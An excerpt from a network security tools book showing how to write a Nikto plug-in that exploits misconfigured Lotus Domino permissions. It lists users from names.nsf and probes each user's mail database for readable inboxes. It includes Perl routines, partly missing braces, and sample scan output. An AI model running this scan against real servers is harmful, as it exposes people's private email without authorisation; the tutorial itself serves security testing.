Writing a Standalone Plug-in to Attack Lotus Domino

Lotus Domino servers are commonly deployed for directory and email services. Many versions of the Domino web server ship with world-readable database files with the extension .nsf. These files can contain sensitive information such as password hashes, and at the very least they are a source of information leakage. Of particular interest is the names directory database. If read permissions are enabled on this database, a user—even possibly an unauthenticated user—can view configuration information for the Domino server and domain. The list of users and the paths to their email databases is particularly dangerous. Using this information, an attacker can attempt to view an email database file via an HTTP request to the Domino mail server. If the mail database’s permissions are incorrect, the attacker will have read access to that user’s email via the web browser!

To summarize: combining weak default security permissions with server misconfiguration yields access to a user’s email, and in some cases this is possible without authentication.

Using these techniques you can write a Nikto plug-in to exploit these vulnerabilities. This plug-in is going to be different from the other standard Nikto plug-ins because it is intended to work in a standalone manner. The first step in setting it up is to make some of the same modifications to the nikto.pl file that you made for the last plug-in. Comment out test_target(), set_scan_items( ), and check_responses( ) around line 100 in nikto.pl, and nikto_plugin_order.txt will be modified so that the only uncommented entry is nikto_domino.

As you did with the first plug-in, you will use a .db file for the plug-in’s data source. As mentioned before, the misconfigured permissions on the names database allow us to view all the users associated with a specific mail server. By using the Java applet menu that appears when names.nsf is loaded, you can navigate to Configuration Messaging Mail Users, select a mail server that is accessible via HTTP(S), and get a listing of the users and their mail files. By default, only 30 users are listed at a time, but by manipulating the GET parameter Count you can view up to 1,000 users at a time. Use this trick to list large numbers of users per request, and fill the .db file with the informational lines as they are listed in the web browser. When finished, you’ll have a list of users, displayed twice per line, along with their mail files. Here are some sample lines from our .db file:

Aaron J Lastname/NA/Manufacturing_Company Aaron J 
Lastname/NA/Manufacturing_Company@Manufacturing_Company mailsrv54\awoestem9011.nsf   
Adam Ant/NA/Manufacturing_Company Adam  
Ant/NA/Manufacturing_Company@Manufacturing_Company mailsrv58\apanzer2315.nsf

Our attack strategy is simple: make an HTTP request to OpenView each user’s email database file. If the request succeeds the ACL allows read access; otherwise, the ACL is configured correctly. Our next step is to write a routine to process the .db file and extract the email databases:

sub load_users
 my $AFILE=shift;
 open(IN,"<$AFILE") || die nprint("Can't open $AFILE:$!");
 my @file=<IN>;

 foreach my $line (@file){
  next if ($line eq "");

  my @arr = split(/\s/,$line);
  next if @arr[-1] !~ /\.nsf/i;
  @arr[-1] =~ tr/\x5c/\x2f/;
  push(@MAILFILES, @arr[-1]);
  nprint("Loaded: " . @MAILFILES[-1], "d");
return @MAILFILES;


The load_users( ) routine does some normalization for the path separator and avoids erroneous entries by adding only .nsf entries. Now write the main loop to request the individual mail files:

sub nikto_dominousers
  my @MAILFILES=load_users("$NIKTO{plugindir}/domino.users.db");

  foreach my $USERFILE (@MAILFILES){
    ($RES, $CONTENT) = fetch("/$USERFILE".'/($Inbox)?OpenView',"GET","");
    nprint("request for $USERFILE returned $RES","d");
    if( $RES eq 200 ){
      if($CONTENT !~ /No documents found/i){
        nprint("+ Found open ACLs on mail file: ". $USERFILE . " - inbox has contents!");
        nprint("+ Found open ACLs on mail file: ". $USERFILE);

The code is simple and straightforward and relies on the core Nikto routine fetch( ) to do the work. You should notice the regular expression that matches on No documents found. This helps us immediately identify inboxes with unread email. Now the plug-in is complete! Be sure to run it to test it out. The following is an example of the output you can expect to see:

[notroot]$ ./nikto.pl -h www.example.com
- Nikto 1.32/1.27     -     www.cirt.net
+ Target IP:
+ Target Hostname: www.example.com
+ Target Port:     80
+ Start Time:      Thu Jan 16 17:25:13 2004
- Scan is dependent on "Server" string which can be faked, use -g to override
+ Server: Lotus-Domino
+ Found bad ACLs on mail file: mailsrv54/aodd5221.nsf
+ Found bad ACLs on mail file: mailsrv56/heng3073.nsf
+ Found bad ACLs on mail file: mailsrv54/skape7782.nsf - inbox has contents!
+ Found bad ACLs on mail file: mailsrv58/optyx2673.nsf - inbox has contents!
+ Found bad ACLs on mail file: mailsrv56/iller4302.nsf
+ Found bad ACLs on mail file: mailsrv58/ackie3165.nsf

Get Network Security Tools now with O’Reilly online learning.

O’Reilly members experience live online training, plus books, videos, and digital content from 200+ publishers.